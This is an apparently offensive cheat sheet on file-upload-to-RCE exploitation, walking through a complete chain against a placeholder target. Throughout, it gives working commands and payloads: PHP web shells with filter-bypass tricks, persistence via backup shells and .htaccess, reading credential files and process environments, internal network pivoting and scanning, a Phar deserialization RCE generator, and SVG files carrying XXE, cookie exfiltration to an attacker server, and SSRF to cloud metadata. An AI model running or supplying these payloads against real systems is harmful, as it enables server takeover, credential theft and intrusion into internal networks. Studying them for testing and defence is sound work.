for ext in php php3 php4 php5 pht phtml pgif shtml inc; do
echo "<?php system($_GET['cmd']); ?>" > "shell.$ext"
done
ls -la shell.*Generate a shell with every possible PHP extension — try them all to find which one bypasses the filter
curl -s -F 'file=@shell.php;filename=shell.php%00.jpg' -F 'submit=Upload' 'https://target.com/upload'Null-byte injection in filename — older PHP versions truncate at %00, dropping .jpg and keeping .php
curl -s -F 'file=@shell.php;filename=shell.php' -F 'filetype=image/jpeg' 'https://target.com/upload' -vMIME type override — send shell.php with a forged image/jpeg content type to bypass MIME-only checks
zip --encrypt shell.zip shell.php && curl -F 'file=@shell.zip' 'https://target.com/upload'Archive upload — some apps extract zip files without scanning contents, deploying your shell
TIPS
Once you've uploaded a shell, you need to find it and verify execution. Common upload paths are /uploads/, /files/, /media/, or /storage/. If the filename is randomized, check response headers for the file URL, or use directory brute-forcing. After verification, establish persistence to survive deletion.
curl -s 'https://target.com/uploads/shell.php?cmd=id'Verify the web shell is accessible and executes commands — 'id' should return the server's user context
curl -s 'https://target.com/uploads/shell.php?cmd=ls+-la+/etc/passwd'Check if you can read system files — accessing /etc/passwd confirms command execution with readable permissions
ffuf -u 'https://target.com/uploads/FUZZ' -w shell-names.txt -fc 403,404 -o shell-location.jsonBrute-force the upload directory to find your shell if the filename was randomized by the server
curl -s 'https://target.com/uploads/shell.php?cmd=cat+/etc/crontab'Read the system crontab — look for cron jobs running as root that you can hijack for persistence
curl -s 'https://target.com/uploads/shell.php?cmd=echo+\"Content-Disposition:+attachment%3B+filename%3Dshell.php\"+%3E+/var/www/uploads/.htaccess'Deploy a .htaccess via the shell to force PHP execution in the uploads directory — survives shell deletion
curl -s 'https://target.com/uploads/shell.php?cmd=php+-r+\"file_put_contents(\'backdoor.php\',+base64_decode(\'PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+\'));\"'Deploy a backup shell from your current shell — if the original is deleted, the backup persists
curl -s 'https://target.com/uploads/shell.php?cmd=cat+/proc/1/environ' | tr '\0' '\n'Read process environment variables — often contains database credentials, API keys, and secrets
TIPS
A web shell is the door to the internal network. From the compromised server, you can scan internal IP ranges, access databases, reach internal services, and use the server as a SOCKS proxy. The most valuable pivots lead to internal admin panels, CI/CD servers, and databases with sensitive data.
curl -s 'https://target.com/uploads/shell.php?cmd=ip+addr+show' | grep -oP 'inet \K[\d.]+'Get the server's internal IP address — tells you which subnet you're on for internal scanning
curl -s 'https://target.com/uploads/shell.php?cmd=cat+/etc/hosts'Read /etc/hosts for internal hostname mappings — often reveals databases, caches, and internal apps
curl -s 'https://target.com/uploads/shell.php?cmd=arp+-a'View the ARP table to discover other hosts on the same subnet — network neighborhood from the shell
curl -s 'https://target.com/uploads/shell.php?cmd=for+i+in+%241..254%3B+do+ping+-c+1+-W+1+10.0.0.%24i+%26%3B+done'Parallel ping sweep of 10.0.0.0/24 subnet via shell — discovers live internal hosts quickly
curl -s 'https://target.com/uploads/shell.php?cmd=nc+-zv+10.0.0.1+3306+2%3E%261+||+echo+closed'Check if MySQL port (3306) is open on an internal host — databases are high-value internal targets
curl -s 'https://target.com/uploads/shell.php?cmd=curl+http://internal-admin.local/dashboard'Use the compromised server to curl internal services — reach internal-only admin panels
#!/bin/bash
# pivotshell.sh — proxy through the web shell
# Replace URL with your shell endpoint
SHELL_URL="https://target.com/uploads/shell.php"
TARGET_URL=$(echo "$1" | base64 | tr -d "\n")
curl -s "$SHELL_URL?cmd=curl+-s+%24(echo+$TARGET_URL+|+base64+-d)"
echo ""Pivot proxy script: pass any URL through your shell — makes internal requests via the compromised server
curl -s 'https://target.com/uploads/shell.php?cmd=mysql+-h+10.0.0.5+-u+root+-p\"\"+information_schema+-e+\"show+tables\"'Direct MySQL query via shell — if internal MySQL has no password or leaked creds, you can dump the database
TIPS
PHP's phar:// wrapper triggers deserialization when accessing a Phar archive's metadata — even through file functions like file_exists(), is_dir(), or file_get_contents(). Upload a crafted .phar file (disguised as .jpg, .pdf, or .zip), then trigger the deserialization via any path that passes your filename to a PHP function. No code execution needed — the deserialization chain does all the work.
cat << 'EOF' > phar-payload.php
<?php
// Generate a Phar file with malicious serialized metadata
class RCE {
public $cmd = "id > /tmp/pwned";
public function __destruct() {
system($this->cmd);
}
}
$phar = new Phar("exploit.phar");
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setMetadata(new RCE());
$phar->stopBuffering();
rename("exploit.phar", "exploit.jpg");
echo "Phar payload created as exploit.jpg";
EOF
php phar-payload.phpGenerate a Phar archive with a serialized RCE object in metadata — renamed to .jpg to bypass extension filters
curl -s -F 'file=@exploit.jpg;filename=avatar.jpg' 'https://target.com/upload'Upload the crafted Phar disguised as a JPG — the server stores it thinking it's an image file
curl -s 'https://target.com/profile/avatar/avatar.jpg' -o /dev/null -w '%{http_code}'Confirm the upload was stored and accessible — verify the file path for the next step (trigger deserialization)
curl -s 'https://target.com/upload?file=phar:///var/www/uploads/avatar.jpg/test.txt'Trigger phar deserialization via a URL parameter that gets passed to file_exists(), is_dir(), or similar PHP function
curl -s 'https://target.com/api/user/update' -H 'Content-Type: application/json' -d '{"avatar":"phar://uploads/avatar.jpg"}'Inject phar:// path via API — if the server calls file_exists() on the avatar path, deserialization triggers
cat live-urls.txt | grep -iE 'file=|path=|load=|read=|download=|include=' > phar-candidates.txtFind parameters that might be passed to PHP file functions — phar:// deserialization triggers on common file operations
python3 -c "
# Test if phar deserialization is possible
# Send a request that triggers file_exists on a non-existent .phar
# A 500 error + PHP warning in response suggests phar:// is viable
import requests
r = requests.get('https://target.com/', params={'file': 'phar://test.phar'})
print('Status:', r.status_code)
print('phar error' in r.text.lower() and 'VULNERABLE' or 'NOT VULN')
"Quick phar vulnerability test: if phar:// in a parameter triggers a PHP error, deserialization is likely possible
TIPS
SVG files are XML with embedded HTML/JavaScript. A single SVG can carry XSS payloads (script tags inside SVG), SSRF probes (via <image> or <foreignObject> loading external URLs), and RCE vectors (XML external entities or SSI). Upload one SVG and test every vulnerability class at once — the file format naturally supports all of them.
cat << 'EOF' > exploit.svg
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<text x="20" y="35">&xxe;</text>
<script>fetch("https://YOUR-SERVER/?c="+document.cookie)</script>
<image href="http://169.254.169.254/latest/meta-data/" width="100%" height="100%"/>
</svg>
EOFTriple-threat SVG: XXE (read /etc/passwd), XSS (cookie exfil), and SSRF (cloud metadata probe) in one upload
curl -s -F 'file=@exploit.svg;filename=icon.svg' 'https://target.com/upload'Upload the SVG payload — many apps accept SVG uploads for avatars, icons, or rich text content
curl -s 'https://target.com/uploads/icon.svg' -o downloaded.svg && cat downloaded.svgDownload the uploaded SVG to check if the server sanitized it — if the payload is intact, all vectors are live
cat << 'EOF' > polyglot.svg
<svg xmlns="http://www.w3.org/2000/svg">
<use href="data:image/svg+xml;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="/>
</svg>
EOFData URI polyglot SVG: JavaScript is base64-encoded inside a data: URI — bypasses regex-based XSS filters
curl -s -F 'file=@polyglot.svg;filename=photo.svg' 'https://target.com/upload' && curl -s 'https://target.com/uploads/photo.svg' | grep -i 'script\|alert'Upload and verify the polyglot SVG survived — check if the <script> tag is still present in the rendered file
cat << 'EOF' > ssrf-svg.svg
<svg xmlns="http://www.w3.org/2000/svg">
<image href="http://127.0.0.1:8080/admin" width="1000" height="1000"/>
<foreignObject width="100%" height="100%">
<iframe src="http://10.0.0.1/secret"></iframe>
</foreignObject>
</svg>
EOFSSRF-focused SVG: <image> loads an internal admin panel, <foreignObject> with iframe loads another internal service
cat upload-endpoints.txt | while read url; do curl -s -F 'file=@exploit.svg' "$url" | grep -i 'svg\|uploaded\|error' ; doneBatch upload the SVG to every discovered upload endpoint — one file tests every endpoint for SVG vulnerabilities
TIPS
TOOLS IN THIS CHAIN
Read/write EXIF metadata in images — embed PHP code in JPEG headers for filter bypass
apt install exiftoolAll-purpose HTTP client for uploading, shell access, and internal network requests
apt install curlPort scanning and banner grabbing from the web shell for internal network discovery
apt install netcat-openbsdStatic nmap binary for comprehensive internal scanning — upload and run from the web shell
Download from https://nmap.org/download.html#linux-staticYou now own the full file-upload-to-RCE chain: bypassing upload filters with extension tricks and metadata injection, deploying and persisting web shells, and using the shell to pivot to internal networks. File upload flaws are consistently top-rated in bug bounty programs due to the server compromise potential.